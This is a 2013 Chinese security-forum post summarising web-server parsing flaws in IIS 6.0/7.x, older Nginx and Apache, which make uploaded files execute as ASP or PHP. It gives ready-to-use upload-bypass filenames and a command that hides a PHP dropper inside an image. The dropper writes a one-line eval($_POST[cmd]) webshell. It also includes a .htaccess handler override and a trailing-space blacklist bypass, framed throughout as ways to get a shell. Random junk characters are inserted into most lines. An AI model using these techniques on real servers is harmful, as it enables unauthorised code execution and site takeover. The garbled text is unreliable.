找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2695|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Author : laterain
' h3 ]  ]6 \3 _[+]IIS6.03 ]! Q5 g( F! ^2 w, H* G- u

! ]3 T3 e9 t! u2 {* x# j目录解析:/xx.asp/xx.jpg
, S; y4 B5 t1 { xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
% g9 ~: _6 I) G. P% {) X IIS6.0 会将 xx.jpg 解析为 asp 文件。) d+ s; A5 g6 w5 {. M) q: i
后缀解析:/xx.asp;.jpg     9 k/ k  [4 ^/ L+ B" p- ?2 Y
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
8 u  G) Y2 y3 y默认解析:/xx.asa* K/ B. g% ^) G0 C! d: P
         /xx.cer: U9 y) q0 G, c8 m; Y
         /xx.cdx
4 E6 E% I" ?- e4 q* V% p9 }% _ IIS6.0 默认的可执行文件除了 asp 还包含这三种
* R% G, j* R$ u( E+ V 此处可联系利用目录解析漏洞
8 i! k; n% ~; i* @5 q5 L' @8 t1 v! m/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
5 E2 l" `9 F/ ?/ v7 `1 r& c[+]IIS 7.0/IIS 7.5/Nginx <0.8.03+ y- m5 l/ o# j& j7 K1 r# F/ ^

( ~% A9 Y: Q) ~  H IIS 7.0/IIS 7.5/Nginx <0.8.037 _7 t- J% t9 z+ u( ~; L
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
9 k8 D+ {. k: i$ ~; D5 t% J5 [ 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
. |; R: @) ?8 C 常用利用方法:$ a% }- |0 {9 u3 z" h7 v0 j
将一张图和一个写入后门代码的文本文件合并将恶意文本
! S7 H/ c# e, B' @ 写入图片的二进制代码之后,避免破坏图片文件头和尾
6 A8 _% z: S$ t* O 如:: u- ]) R  Y0 h/ m& q* v
copy xx.jpg /b + yy.txt/a xy.jpg! G, m! H- q& R5 q, R: S( l) P8 @
#########################################################
* V* V8 O/ N7 y, k8 L3 v! G% q9 \ /b 即二进制[binary]模式5 O$ |# z$ m5 E. n; \) h4 }( k; |
/a 即ascii模式/ r0 e/ g+ n. [* o  A4 L& s
xx.jpg 正常图片文件
5 ?; b  ~+ v7 q yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),) P5 U& }/ Q7 C# D/ Y5 @, \& W
'<?php eval($_POST[cmd])?>');?>4 S( k/ I. {4 |+ d3 ?! u; E
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
% D7 E6 c1 B( H/ u" j 为shell.php的文件
+ z( _3 I/ j6 b3 ]- ?5 W ###########################################################
  j  w3 {# g4 G' ~$ o 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 6 j7 j- m; H$ l, `- }% B( X
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php $ g" F, w( L- R- z4 M8 ^3 }7 g% m
密码 cmd
' N$ d0 M$ b1 C1 w2 ?0 p2 b[+]Nginx <0.8.03
; w5 h+ W  c& \* O 4 ^' V& @" l% x7 F( V4 P
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
* s1 |8 p* x6 ], {2 [) \8 l 在一个文件路径(/xx.jpg)后面加上%00.php, v, I1 Z3 y1 C2 p& w( r
会将 /xx.jpg%00.php 解析为 php 文件。: o0 A# ^1 y$ x, l6 S
[+]Apache<0.8.03- }9 k' a4 o/ V1 X/ \

' o1 ^* i* a$ J5 H 后缀解析:test.php.x1.x2.x3
4 O& m  [' `$ G" d+ v1 @# v) i: c8 z Apache将从右至左开始判断后缀,若x3非可识别后缀,
5 m8 d5 w4 L2 U9 ~3 d 再判断x2,直到找到可识别后缀为止,然后将该可识别5 H- n# Y3 p; f. s$ H8 O  o
后缀进解析test.php.x1.x2.x3 则会被解析为php
. ~9 t9 j+ P% [( Z( r 经验之谈:php|php3|phtml 多可被Apache解析。+ ^, ?8 P$ m- `0 }2 {" B" L9 X* V' n" m
[+]其他一些可利用的, C: }1 A( L& F! ~: f- i
: n/ {7 |3 N  k" [. R) s
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的3 a4 p2 }: l! W' w7 @
若这样命名,windows会默认除去空格或点,这也是可以被利用的!8 B( D0 O) S  w) Z3 q, n
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格% J: s; y8 k0 Z- q
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
. f5 y. ]( P* D0 F3 \7 Y得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
6 y2 T8 a1 R& ], `; o4 Z0 T{Linux主机中不行,Linux允许这类文件存在}
4 i0 O1 q: h7 l& l如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说& c* l4 @5 Z$ i* i$ h% W+ m
的,当初我并不知道),且可以被上传,那可以尝试在1 H) ~. d$ W! r7 C4 V* X4 r
.htaccess中写入:
7 h1 k) ?9 e9 o4 k& U<FilesMatch “shell.jpg”>
* [6 ]- M. n9 z' Z4 h& Q! ASetHandler application/x-httpd-php ' f& M9 S9 f, t+ M& d
</FilesMatch>
8 c" L7 P! |2 r+ |. Q9 ?* F5 C, ishell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件  a0 e+ a# I/ q' l3 |" W
[+]错误修改
' M7 I, h9 g; e
* A; U9 `! K; S2 i0 c在 IIS 6.0 下可解析 /xx.asp:.jpg$ r% S7 w8 ]5 l6 \8 c8 n
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
' x* s0 Y8 J+ Y& S$ _剩下/xx.asp}修改:0 I# n' n4 w9 u- R1 ~  E! s
先谢谢核攻击的提醒, }. |) w! d4 Y, t
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
1 l* [) P: |$ z' ]- ]% `里是没有任何内容的,因为。。不好解释 大家自己看
0 M; t/ z9 e; z) Fhttp://lcx.cc/?i=2448
/ F- D4 I, q8 P9 ~7 h4 }" c, Q0 v. w6 fhttp://baike.baidu.com/view/3619593.htm$ F  k- I2 k2 `0 {7 K" f

. ~3 X4 C. k1 u; B3 m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表